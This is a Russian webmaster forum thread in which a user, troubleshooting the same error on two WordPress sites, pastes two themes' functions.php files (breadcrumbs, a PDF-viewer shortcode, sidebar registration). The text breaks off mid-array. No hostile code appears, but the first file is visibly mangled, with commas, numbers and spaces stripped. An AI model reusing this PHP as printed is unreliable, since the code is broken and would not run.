Помогите разобраться в одинаковой ошибке на разных сайтах

Автор evagrom79, 13-02-2018, 20:50:12

« назад - далее »

evagrom79Topic starter

#10
Цитата: alexakap от 14-02-2018, 09:27:30
Попробуйте найти чем выводятся эти строки и удалить их

<!-- Shortcodes Ultimate custom CSS - start -->
<style type="text/css">
[pdfview][/pdfview]
</style>
<!-- Shortcodes Ultimate custom CSS - end -->

Но это вряд ли поможет, надо ковыряться в файлах. Можете еще function.php скинуть, посмотрю
Содержимое htaccess очистите, предварительно сохранив на компьютер и попробуйте

[pdfview][/pdfview] - по виду это похоже на плагин, позволяющий цеплять пдфки. Если это на первом сайте, то точно оно. Сейчас как раз заменяю его функции, переводя все пдф в гугл-доки, и скооро его в любом случае удалю. Но на втором сайте этого плагина нет.


function.php первого:

<?php
 add_filter
('rest_enabled''__return_false');

 
remove_action'init''rest_api_init' );
 
remove_action'rest_api_init''rest_api_default_filters'10);
 
remove_action'parse_request''rest_api_loaded' );

 
remove_action'rest_api_init''wp_oembed_register_route' );
 
remove_filter'rest_pre_serve_request''_oembed_rest_pre_serve_request'10);

 
remove_action'xmlrpc_rsd_apis''rest_output_rsd' );
 
remove_action'wp_head''rest_output_link_wp_head'10);
 
remove_action'template_redirect''rest_output_link_header'11);
 
remove_action'auth_cookie_malformed''rest_cookie_collect_status' );
 
remove_action'auth_cookie_expired''rest_cookie_collect_status' );
 
remove_action'auth_cookie_bad_username''rest_cookie_collect_status' );
 
remove_action'auth_cookie_bad_hash''rest_cookie_collect_status' );
 
remove_action'auth_cookie_valid''rest_cookie_collect_status' );
 
remove_filter'rest_authentication_errors''rest_cookie_check_errors'100 );

 
remove_action'wp_head''wp_oembed_add_discovery_links' );
 
remove_action'wp_head''rest_output_link_wp_head' );
 
remove_action'template_redirect''rest_output_link_header'11);

// Set Content Width
if ( ! isset( $content_width ) )
$content_width 860;

/*==================================== THEME SETUP ====================================*/

// Load default style.css and Javascripts
add_action('wp_enqueue_scripts''smartline_enqueue_scripts');

if ( ! 
function_exists'smartline_enqueue_scripts' ) ):
function 
smartline_enqueue_scripts() {

// Get Theme Options from Database
$theme_options smartline_theme_options();

// Register and Enqueue Stylesheet
wp_enqueue_style('smartline-lite-stylesheet'get_stylesheet_uri());

// Register Genericons
wp_enqueue_style('smartline-lite-genericons'get_template_directory_uri() . '/css/genericons.css');

wp_enqueue_style('smartline-lite-main'get_template_directory_uri() . '/css/main.css');

// Register and Enqueue FlexSlider JS and CSS if necessary
if ( ( isset($theme_options['slider_activated_blog']) and $theme_options['slider_activated_blog'] == true )
|| ( isset($theme_options['slider_activated_front_page']) and $theme_options['slider_activated_front_page'] == true ) ) :

// FlexSlider CSS
wp_enqueue_style('smartline-lite-flexslider'get_template_directory_uri() . '/css/flexslider.css');

// FlexSlider JS
wp_enqueue_script('smartline-lite-jquery-flexslider'get_template_directory_uri() .'/js/jquery.flexslider-min.js', array('jquery'));

// Register and enqueue slider.js
wp_enqueue_script('smartline-lite-jquery-frontpage_slider'get_template_directory_uri() .'/js/slider.js', array('smartline-lite-jquery-flexslider'));

endif;

// Register and enqueue navigation.js
wp_enqueue_script('smartline-lite-jquery-navigation'get_template_directory_uri() .'/js/navigation.js', array('jquery'));

// Register and Enqueue Fonts
wp_enqueue_style('smartline-lite-default-font''//fonts.googleapis.com/css?family=Raleway');
wp_enqueue_style('smartline-lite-default-title-font''//fonts.googleapis.com/css?family=Bitter');

}
endif;

// Load comment-reply.js if comment form is loaded and threaded comments activated
add_action'comment_form_before''smartline_enqueue_comment_reply' );

function 
smartline_enqueue_comment_reply() {
if( get_option'thread_comments' ) ) {
wp_enqueue_script'comment-reply' );
}
}


// Setup Function: Registers support for various WordPress features
add_action'after_setup_theme''smartline_setup' );

if ( ! 
function_exists'smartline_setup' ) ):
function 
smartline_setup() {

// init Localization
load_theme_textdomain('smartline-lite'get_template_directory() . '/languages' );

// Add Theme Support
add_theme_support('post-thumbnails');
add_theme_support('automatic-feed-links');
add_editor_style();

// Add Custom Background
add_theme_support('custom-background', array(
'default-color' => 'e5e5e5',
'default-image' => get_template_directory_uri() . '/images/background.png'));

// Add Custom Header
add_theme_support('custom-header', array(
'header-text' => false,
'width' => 1340,
'height' => 250,
'flex-height' => true));

// Add theme support for Jetpack Featured Content
add_theme_support'featured-content', array(
'featured_content_filter' => 'smartline_get_featured_content',
'max_posts'  => 20
)
);

// Register Navigation Menus
register_nav_menu'primary'__('Main Navigation''smartline-lite') );
register_nav_menu'secondary'__('Top Navigation''smartline-lite') );
register_nav_menu'footer'__('Footer Navigation''smartline-lite') );

// Register Social Icons Menu
register_nav_menu'social'__('Social Icons''smartline-lite') );

}
endif;


// Add custom Image Sizes
add_action'after_setup_theme''smartline_add_image_sizes' );

if ( ! 
function_exists'smartline_add_image_sizes' ) ):
function 
smartline_add_image_sizes() {

// Add Custom Header Image Size
add_image_size'custom_header_image'1340250true);

// Add Featured Image Size
add_image_size'featured_image'200200true);

// Add Slider Image Size
add_image_size'slider_image'880350true);

// Add Frontpage Thumbnail Sizes
add_image_size'category_posts_wide_thumb'600240true);
add_image_size'category_posts_small_thumb'9090true);

// Add Widget Post Thumbnail Size
add_image_size'widget_post_thumb'7575true);

}
endif;


// Register Sidebars
add_action'widgets_init''smartline_register_sidebars' );

if ( ! 
function_exists'smartline_register_sidebars' ) ):
function 
smartline_register_sidebars() {

// Register Sidebars
register_sidebar( array(
'name' => __'Боковая колонка''smartline-lite' ),
'id' => 'sidebar',
'description' => __'Выводится сбоку в колонке.''smartline-lite' ),
'before_widget' => '<aside id="%1$s" class="widget %2$s clearfix">',
'after_widget' => '</aside>',
'before_title' => '<div class="widgettitle"><span>',
'after_title' => '</span></div>',
));
register_sidebar( array(
'name' => __'Magazine Front Page''smartline-lite' ),
'id' => 'frontpage-magazine',
'description' => __'Виджеты для страницы Magazine Front Page. Сюда поместите виджеты для страницы Magazine Front Page''smartline-lite' ),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<div class="widgettitle">',
'after_title' => '</div>',
));
register_sidebar( array(
'name' => __'Виджеты футера''smartline-lite' ),
'id' => 'footer_widget',
'description' => __'Виджеты для страницы футера. Сюда поместите виджеты для футера''smartline-lite' ),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<div class="widgettitle">',
'after_title' => '</div>',
));

}
endif;


/*==================================== THEME FUNCTIONS ====================================*/

// Creates a better title element text for output in the head section
add_filter'wp_title''smartline_wp_title'10);

function 
smartline_wp_title$title$sep '' ) {
global $paged$page;

if ( is_feed() )
return $title;

// Add the site name.
$title .= get_bloginfo'name' );

// Add the site description for the home/front page.
$site_description get_bloginfo'description''display' );
if ( $site_description && ( is_home() || is_front_page() ) )
$title "$title $sep $site_description";

// Add a page number if necessary.
if ( $paged >= || $page >= )
$title "$title $sep " sprintf__'Страница %s''smartline-lite' ), max$paged$page ) );

return $title;
}


// Add Default Menu Fallback Function
function smartline_default_menu() {
echo '<ul id="mainnav-menu" class="menu">'wp_list_pages('title_li=&echo=0') .'</ul>';
}


// Get Featured Posts
function smartline_get_featured_content() {
return apply_filters'smartline_get_featured_content'false );
}


// Display Credit Link Function
function smartline_credit_link() {

printf(__'При поддержке %1$s.''smartline-lite' ), 
sprintf'<a href="https://wphost.me/mancgi/partnerprogram?partner=24&amp;project=1" title="WordPress">%s</a>'__'WordPress хостинг''smartline-lite' ) )
);

}


// Change Excerpt Length
add_filter('excerpt_length''smartline_excerpt_length');
function 
smartline_excerpt_length($length) {
    return 
60;
}


// Slideshow Excerpt Length
function smartline_slideshow_excerpt_length($length) {
    return 
15;
}

// Frontpage Category Excerpt Length
function smartline_frontpage_category_excerpt_length($length) {
    return 
25;
}

// Change Excerpt More
add_filter('excerpt_more''smartline_excerpt_more');
function 
smartline_excerpt_more($more) {
    return 
'';
}


// Custom Template for comments and pingbacks.
if ( ! function_exists'smartline_list_comments' ) ):
function 
smartline_list_comments($comment$args$depth) {

$GLOBALS['comment'] = $comment;

if( $comment->comment_type == 'pingback' or $comment->comment_type == 'trackback' ) : ?>


<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">
<p><?php _e'Ссылка:''smartline-lite' ); ?> <?php comment_author_link(); ?>
<?php edit_comment_link__'(Редактировать)''smartline-lite' ), '<span class="edit-link">''</span>' ); ?>
</p>

<?php else : ?>

<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">

<div id="div-comment-<?php comment_ID(); ?>" class="comment-body">

<div class="comment-author vcard">
<?php echo get_avatar$comment56 ); ?>
<?php printf(__('<span class="fn">%s</span>''smartline-lite'), get_comment_author_link()) ?>
</div>

<?php if ($comment->comment_approved == '0') : ?>
<p class="comment-awaiting-moderation"><?php _e'Ваш комментарий ожидает модерации.''smartline-lite' ); ?></p>
<?php endif; ?>

<div class="comment-meta commentmetadata">
<a href="<?php echo esc_urlget_comment_link$comment->comment_ID ) ); ?>"><?php printf(__('%1$s - %2$s''smartline-lite'), get_comment_date(),  get_comment_time()) ?></a>
<?php edit_comment_link(__('(Редактировать)''smartline-lite'),'  ',''?>
</div>

<div class="comment-content"><?php comment_text(); ?></div>

<div class="reply">
<?php comment_reply_link(array_merge$args, array('depth' => $depth'max_depth' => $args['max_depth']))) ?>
</div>

</div>
<?php
endif;

}
endif;


/*==================================== INCLUDE FILES ====================================*/

// include Theme Info page
require( get_template_directory() . '/inc/theme-info.php' );

// include Theme Customizer Options
require( get_template_directory() . '/inc/customizer/customizer.php' );
require( 
get_template_directory() . '/inc/customizer/default-options.php' );

// include Customization Files
require( get_template_directory() . '/inc/customizer/frontend/custom-layout.php' );
require( 
get_template_directory() . '/inc/customizer/frontend/custom-jscript.php' );

// include Template Functions
require( get_template_directory() . '/inc/template-tags.php' );
require( 
get_template_directory() . '/inc/front-page-functions.php' );

require( 
get_template_directory() . '/inc/widgets/widget-category-posts-boxed.php' );
require( 
get_template_directory() . '/inc/widgets/widget-category-posts-columns.php' );
require( 
get_template_directory() . '/inc/widgets/widget-category-posts-grid.php' );

// Include Featured Content class in case it does not exist yet (e.g. user has not Jetpack installed)
if ( ! class_exists'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) {
require( get_template_directory() . '/inc/featured-content.php' );
}

/** 
 * Хлебные крошки для WordPress (breadcrumbs)
 *
 * $sep  - разделитель. По умолчанию ' » '
 * $l10n - массив. для локализации. См. переменную $default_l10n.
 * $args - массив. дополнительные аргументы.
 * version 1.5
*/
function kama_breadcrumbs$sep ''$l10n = array(), $args = array() ){
global $post$wp_query$wp_post_types;

// Локализация
$default_l10n = array(
'home'       => 'Главная',
'paged'      => 'Страница %d',
'_404'       => 'Ошибка 404',
'search'     => 'Результаты поиска по запросу - <b>%s</b>',
'author'     => 'Архив автора: <b>%s</b>',
'year'       => 'Архив за <b>%d</b> год',
'month'      => 'Архив за: <b>%s</b>',
'day'        => '',
'attachment' => 'Медиа: %s',
'tag'        => 'Записи по метке: <b>%s</b>',
'tax_tag'    => '%1$s из "%2$s" по тегу: <b>%3$s</b>',
// tax_tag выведет: 'тип_записи из "название_таксы" по тегу: имя_термина'. 
// Если нужны отдельные холдеры, например только имя термина, пишем так: 'записи по тегу: %3$s'
);

// Параметры по умолчанию
$default_args = array(
'on_front_page'   => false,  // выводить крошки на главной странице
'show_post_title' => true,  // показывать ли название записи в конце (последний элемент). Для записей, страниц, вложений
// можно указать строку вида <span>%s</span>, когда нужно обернуть заголовок в html
'sep'             => ' » '// разделитель
'markup'          => 'schema.org'
// 'markup' - микроразметка. Может быть: 'rdf.data-vocabulary.org', 'schema.org', '' - без микроразметки 
// или можно указать свой массив разметки:
// array( 'wrap'=>'<div class="kama_breadcrumbs">',   'wrap_close'=>'</div>', 'linkpatt'=>'<a href="%s">%s</a>', 'sep_after'=>'', )
'priority_tax'    => array('category'), // приоритетные таксономии, нужно когда запись в нескольких таксах
'priority_terms'  => array(),
// 'priority_terms' - приоритетные элементы таксономий, когда запись находится в нескольких элементах одной таксы одновременно.
// Например: array( 'category'=>array(45,'term_name'), 'tax_name'=>array(1,2,'name') )
// 'category' - такса для которой указываются приор. элементы: 45 - ID термина и 'term_name' - ярлык.
// порядок 45 и 'term_name' имеет значение: чем раньше тем важнее. Все указанные термины важнее неуказанных...
'nofollow' => false// добавлять rel=nofollow к ссылкам?
);

// Фильтрует аргументы по умолчанию
$default_args apply_filters('kama_breadcrumbs_default_args'$default_args );

$loc  = (object) array_merge$default_l10n$l10n );
$args = (object) array_merge$default_args$args );

if( ! $sep $sep $args->sep;

// микроразметка ---
if(1){
$mrk = & $args->markup;

// Разметка по умолчанию default
if( ! $mrk ){
$mrk = array(
'wrap'       => '<div class="kama_breadcrumbs">',
'wrap_close' => '</div>',
'linkpatt'   => '<a href="%s">%s</a>',
'sep_after'  => '',
);
}
if( $mrk == 'rdf.data-vocabulary.org' ){
$mrk = array(
'wrap'       => '<div class="kama_breadcrumbs" prefix="v: http://rdf.data-vocabulary.org/#">',
'wrap_close' => '</div>',
'linkpatt'   => '<span typeof="v:Breadcrumb"><a href="%s" rel="v:url" property="v:title">%s</a>',
'sep_after'  => '</span>'// закрываем span после разделителя!
);
}
// schema.org
elseif( $mrk == 'schema.org' ){
$mrk = array(
'wrap'       => '<div class="kama_breadcrumbs" itemscope itemtype="http://schema.org/BreadcrumbList">',
'wrap_close' => '</div>',
'linkpatt'   => '<span itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a href="%s" itemprop="item"><span itemprop="name">%s</span></a></span>',
'sep_after'  => ''// закрываем span после разделителя!
);
}
elseif( ! is_array($mrk) )
die( __FUNCTION__ .': "markup" parameter must be array...');

$wrap       $mrk['wrap']."\n";
$wrap_close $mrk['wrap_close']."\n";
$linkpatt   $args->nofollow str_replace('<a ','<a rel="nofollow"'$mrk['linkpatt']) : $mrk['linkpatt'];
$sep       .= $mrk['sep_after']."\n";
}

$ptype = & $wp_post_types$post->post_type ];

// paged
$pg_end '';
if( $paged_num $wp_query->query_vars['paged'] ){
$pg_end  /*'</a>'.*/ $sep sprintf$loc->paged, (int) $paged_num );
}

// OUT
$out '';

// front page
if( is_front_page() ){
return $args->on_front_page ? ( print $wrap .( $paged_num sprintf($linkpattget_home_url(), $loc->home) . $pg_end $loc->home ). $wrap_close ) : '';
}
elseif( is_404() ){
$out $loc->_404
}
elseif( is_search() ){
$out sprintf$loc->searchesc_html$GLOBALS['s'] ) );
}
elseif( is_author() ){
$q_obj = &$wp_query->queried_object;
$tit sprintf$loc->authoresc_html($q_obj->display_name) );
$out = ( $paged_num sprintf$linkpattget_author_posts_url$q_obj->ID$q_obj->user_nicename ) . $pg_end$tit ) : $tit );
}
elseif( is_year() || is_month() || is_day() ){
$y_url  get_year_link$year get_the_time('Y') );

if( is_year() ){
$tit sprintf$loc->year$year );
$out = ( $paged_num sprintf($linkpatt$y_url$tit) . $pg_end $tit );
}
// month day
else {
$y_link sprintf$linkpatt$y_url$year);
$m_url  get_month_link$yearget_the_time('m') );

if( is_month() ){
$tit sprintf$loc->monthget_the_time('F') );
$out $y_link $sep . ( $paged_num sprintf$linkpatt$m_url$tit ) . $pg_end $tit );
}
elseif( is_day() ){
$m_link sprintf$linkpatt$m_urlget_the_time('F'));
$out $y_link $sep $m_link $sep get_the_time('l');
}
}
}
// Древовидные записи
elseif( is_singular() && $ptype->hierarchical ){
$out __hierarchical_posts$args$sep$linkpatt$post );
}
// Таксы, вложения и не древовидные записи
else {
$term false;
// set term (attachments too)
if( is_singular() ){
// Чтобы определить термин для вложения
if( is_attachment() && $post->post_parent ){
$save_post $post;
$post get_post$post->post_parent );

if( is_post_type_hierarchical$post->post_type ) ){
$hierarchical_post_attach_out __hierarchical_posts$args$sep$linkpatt$post );
}
}

// учитывает если вложения прикрепляются к таксам древовидным - все бывает :)

$taxonomies get_object_taxonomies$post->post_type );
// оставим только древовидные и публичные, мало ли...
$taxonomies array_intersect$taxonomiesget_taxonomies( array('hierarchical' => true'public' => true) ) );

// не делаем лишнего...
if( $taxonomies ){
// пробуем найти приоритетные
$priority_tax array_intersect$taxonomies$args->priority_tax );
// получаем название таксы
$taxonomy $priority_tax array_shift$priority_tax ) : array_shift$taxonomies );

if( $terms get_the_terms$post->ID$taxonomy ) ){
$term array_shift$terms );

// проверим приоритетные термины для таксы
$prior_terms = & $args->priority_terms$taxonomy ];
if( $prior_terms && count($terms) > ){                 
foreach( (array) $prior_terms as $term_id ){
$filter_field is_numeric($term_id) ? 'term_id' 'slug';
$_terms wp_list_filter$terms, array($filter_field=>$term_id) );

if( $_terms ){
$term array_shift$_terms );
break;
}
}
}                   
}
}

if( isset($save_post) ) $post $save_post// вернем обратно (для вложений)
}
// term for tax page
else
$term get_queried_object();

//if( ! $term && ! is_attachment() ) return print "Error: Taxonomy is not defined!"; 
//var_dump($term);
// вложение древовидного типа записи
if( isset($hierarchical_post_attach_out) ){
$out $hierarchical_post_attach_out sprintf$linkpattget_permalink$post->post_parent ), get_the_title$post->post_parent ) ) . $sep __show_post_title$args->show_post_title$post->post_title );
}
// если есть термин
elseif( $term ){
$term apply_filters('kama_breadcrumbs_term'$term );

$term_tit_patt '';
if( $term->term_id )
$term_tit_patt $paged_num sprintf$linkpattget_term_link($term->term_id$term->taxonomy), '{title}' ) . $pg_end '{title}';

// attachment
if( is_attachment() ){
if( ! $post->post_parent )
$out sprintf$loc->attachmentesc_html($post->post_title) );
else{
$tit sprintf$linkpattget_permalink($post->post_parent), get_the_title($post->post_parent) ) . $sep __show_post_title$args->show_post_title$post->post_title );
$out __crumbs_tax$term->term_id$term->taxonomy$sep$linkpatt ) . $tit;
}
}
// single
elseif( is_single() ){
$out __crumbs_tax$term->parent$term->taxonomy$sep$linkpatt ) . sprintf$linkpattget_term_link$term->term_id$term->taxonomy ), $term->name ). $sep __show_post_title$args->show_post_title$post->post_title );
// Метки, архивная страница типа записи, произвольные одноуровневые таксономии
}
// taxonomy не древовидная
elseif( ! is_taxonomy_hierarchical$term->taxonomy ) ){
// метка
if( is_tag() )
$out str_replace('{title}'sprintf$loc->tag$term->name ), $term_tit_patt );
// таксономия
elseif( is_tax() ){
$post_label $ptype->labels->name;
$tax_label $GLOBALS['wp_taxonomies'][ $term->taxonomy ]->labels->name;
$out str_replace('{title}'sprintf$loc->tax_tag$post_label$tax_label$term->name ), $term_tit_patt );
}
}
// Рубрики и таксономии
else{
//die( $term->taxonomy );
$out __crumbs_tax$term->parent$term->taxonomy$sep$linkpatt ) . str_replace('{title}'$term->name$term_tit_patt );
}
}
}

$home_after '';

// замена ссылки на архивную страницу для типа записи 
$home_after apply_filters('kama_breadcrumbs_home_after'false$linkpatt$sep );

// Ссылка на архивную страницу произвольно типа поста. Ссылку можно заменить с помощью хука 'kama_breadcrumbs_home_after'
if( ! $home_after && $ptype->has_archive && (is_post_type_archive() || is_singular()) && ! in_array$post->post_type, array('post','page','attachment') ) ){
$pt_name $ptype->labels->name;

if( is_post_type_archive() && ! $paged_num )
$home_after $pt_name;
else
$home_after sprintf$linkpattget_post_type_archive_link$post->post_type ), $pt_name ) . ($pg_end $pg_end $sep);
}

$home sprintf$linkpatthome_url(), $loc->home ). $sep $home_after;

$out apply_filters('kama_breadcrumbs_pre_out'$out );

$out $wrap$home $out .$wrap_close;

return print apply_filters('kama_breadcrumbs'$out$sep );
}
function 
__hierarchical_posts$args$sep$linkpatt$post ){
$parent $post->post_parent;

$crumbs = array();
while( $parent ){
$page get_post$parent );
$crumbs[] = sprintf$linkpattget_permalink$page->ID ), $page->post_title );
$parent $page->post_parent;
}
$crumbs array_reverse$crumbs );

$out '';
foreach( $crumbs as $crumb )
$out .= $crumb $sep;

return $out __show_post_title$args->show_post_title$post->post_title );
}
function 
__show_post_title$is_show$title ){
return $is_show ? ( is_string($is_show) ? sprintf$is_showesc_html($title) ) : esc_html($title) ) : '';
}
function 
__crumbs_tax$term_id$tax$sep$linkpatt ){
$termlink = array();
while( $term_id ){
$term2      get_term$term_id$tax );
$termlink[] = sprintf$linkpattget_term_link$term2->term_id$term2->taxonomy ), esc_html($term2->name) ). $sep;
$term_id    $term2->parent;
}

$termlinks array_reverse$termlink );

return implode(''$termlinks );
}

function 
my_excerpt_length($length) {
    return 
30;
  }
  
add_filter('excerpt_length''my_excerpt_length');

remove_action'wp_head''wp_generator' );

remove_action('wp_head''print_emoji_detection_script'7);
remove_action('wp_print_styles''print_emoji_styles');

//Просмотр pdf прямо на сайте
function pdf_viewer($attr$url) {
    return 
'<iframe
                    src="http://docs.google.com/viewer?url=' 
$url '&embedded=true"
                    style="width: 800px; height: 600px;"
                    frameborder="0">Ваш браузер не поддерживает фреймы</iframe>'
;
}
add_shortcode('pdfview''pdf_viewer');


 


function 
web2033_attachment_redirect() {  
global $post;
if ( is_attachment() && isset($post->post_parent) && is_numeric($post->post_parent) && ($post->post_parent != 0) ) {
wp_redirect(get_permalink($post->post_parent), 301);
exit;
} elseif ( is_attachment() && isset($post->post_parent) && is_numeric($post->post_parent) && ($post->post_parent 1) ) { 
wp_redirect(get_bloginfo('wpurl'), 302);
exit;       
    }
}
 
add_action('template_redirect''web2033_attachment_redirect'1);

//циклические ссылки в меню
function no_link_current_page$p ) {
    return 
preg_replace'%((current_page_item|current-menu-item)[^<]+)[^>]+>([^<]+)</a>%''$1<a>$3</a>'$p);
}
add_filter'wp_nav_menu',   'no_link_current_page' );

//удаление класса РАЗМЕТКА hentry start
function wph_remove_hentry_class($classes) {
$classes array_diff($classes, array('hentry'));
return 
$classes;
}
add_filter('post_class''wph_remove_hentry_class');
//удаление класса hentry end





Добавлено: 14-02-2018, 09:53:59


[spoiler]<?php

/*-----------------------------------------------------------------------------------*/
// This is theme Functions file (functions.php). You should avoid editing this file
// if possible. Instead, add new functions to theme-custom-functions.php.
/*-----------------------------------------------------------------------------------*/

/*-----------------------------------------------------------------------------------*/
// Action Hooks
/*-----------------------------------------------------------------------------------*/

// This hook executes just before the opening #wrap div tag
function solostream_before_wrap() { do_action('solostream_before_wrap'); }

// This hook executes just before the opening #page div tag
function solostream_before_page() { do_action('solostream_before_page'); }

// This hook executes just before the opening #contentleft div tag
function solostream_before_contentleft() { do_action('solostream_before_contentleft'); }

// This hook executes just before the closing #contentleft div tag
function solostream_before_close_contentleft() { do_action('solostream_before_close_contentleft'); }

// This hook executes just before the opening #content div tag
function solostream_before_content() { do_action('solostream_before_content'); }

// This hook executes just after the opening #content div tag
function solostream_after_open_content() { do_action('solostream_after_open_content'); }


/*-----------------------------------------------------------------------------------*/
// Add Featured Content Sliders to the site
/*-----------------------------------------------------------------------------------*/

// Add Featured Pages before opening #page div tag
add_action('solostream_before_page', 'featured_pages');

// Add Wide Featured Content before opening #page div tag
add_action('solostream_before_page', 'featured_wide');

// Add Narrow Content before opening #content div tag
add_action('solostream_after_open_content', 'featured_narrow');


/*-----------------------------------------------------------------------------------*/
// Various Functions to call Featured Content sliders
/*-----------------------------------------------------------------------------------*/

// Narrow Featured Content
function featured_narrow() {
   $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
   global $wp_query;
   $postid = $wp_query->post->ID;
   if ( is_home() && $paged < 2 && get_option('solostream_features_on') == 'Narrow Width Featured Content Slider' ) {
      get_template_part( 'featured', 'narrow' );
   }
   if ( is_singular() && get_post_meta( $postid, 'post_featcontent', true ) == "Narrow Width Featured Content Slider" ) {
      get_template_part( 'featured', 'narrow' );
   }
}

// Wide Featured Content
function featured_wide() {
   $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
   global $wp_query;
   $postid = $wp_query->post->ID;
   if ( is_home() && $paged < 2 && get_option('solostream_features_on') == 'Full Width Featured Content Slider' ) {
      get_template_part( 'featured', 'wide' );
   }
   if ( is_singular() && get_post_meta( $postid, 'post_featcontent', true ) == "Full Width Featured Content Slider" ) {
      get_template_part( 'featured', 'wide' );
   }
}

// Featured Pages
function featured_pages() {
   $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
   global $wp_query;
   $postid = $wp_query->post->ID;
   if ( is_home() && $paged < 2 && get_option('solostream_featpage_on') == 'Yes') {
      get_template_part( 'featured', 'pages' );
   }
   if ( is_singular() && get_post_meta( $postid, 'post_featpages', true ) == "Yes" ) {
      get_template_part( 'featured', 'pages' );
   }
}


/*-----------------------------------------------------------------------------------*/
// Ready the theme for translation
/*-----------------------------------------------------------------------------------*/
load_theme_textdomain("solostream");


/*-----------------------------------------------------------------------------------*/
// Require Various Files to Run the Theme
/*-----------------------------------------------------------------------------------*/
require_once( trailingslashit( get_template_directory() ) . 'theme-settings.php' );
require_once( trailingslashit( get_template_directory() ) . 'theme-styles.php' );
require_once( trailingslashit( get_template_directory() ) . 'theme-widgets.php' );
require_once( trailingslashit( get_template_directory() ) . 'theme-metaboxes.php' );
require_once( trailingslashit( get_template_directory() ) . 'theme-js.php' );
require_once( trailingslashit( get_template_directory() ) . 'theme-images.php' );
require_once( trailingslashit( get_template_directory() ) . 'theme-custom-functions.php' );


/*-----------------------------------------------------------------------------------*/
// Register widgetized areas
/*-----------------------------------------------------------------------------------*/
function theme_widgets_init() {
   register_sidebar(array (
      'name'=>'Sidebar-Wide - Top',
      'id'=>'widget-1',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Sidebar-Wide - Bottom Left',
      'id'=>'widget-2',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Sidebar-Wide - Bottom Right',
      'id'=>'widget-3',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Sidebar-Narrow',
      'id'=>'widget-4',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Footer Widget 1',
      'id'=>'widget-5',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Footer Widget 2',
      'id'=>'widget-6',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Footer Widget 3',
      'id'=>'widget-7',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Footer Widget 4',
      'id'=>'widget-8',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Alt Home Page Full-Width Top',
      'id'=>'widget-12',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Alt Home Page Left',
      'id'=>'widget-9',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Alt Home Page Middle',
      'id'=>'widget-10',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Alt Home Page Right',
      'id'=>'widget-11',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Alt Home Page Full-Width Bottom',
      'id'=>'widget-13',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Widgetized Page Full-Width Top',
      'id'=>'widget-14',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Widgetized Page Left',
      'id'=>'widget-15',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Widgetized Page Right',
      'id'=>'widget-17',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
   register_sidebar(array (
      'name'=>'Widgetized Page Full-Width Bottom',
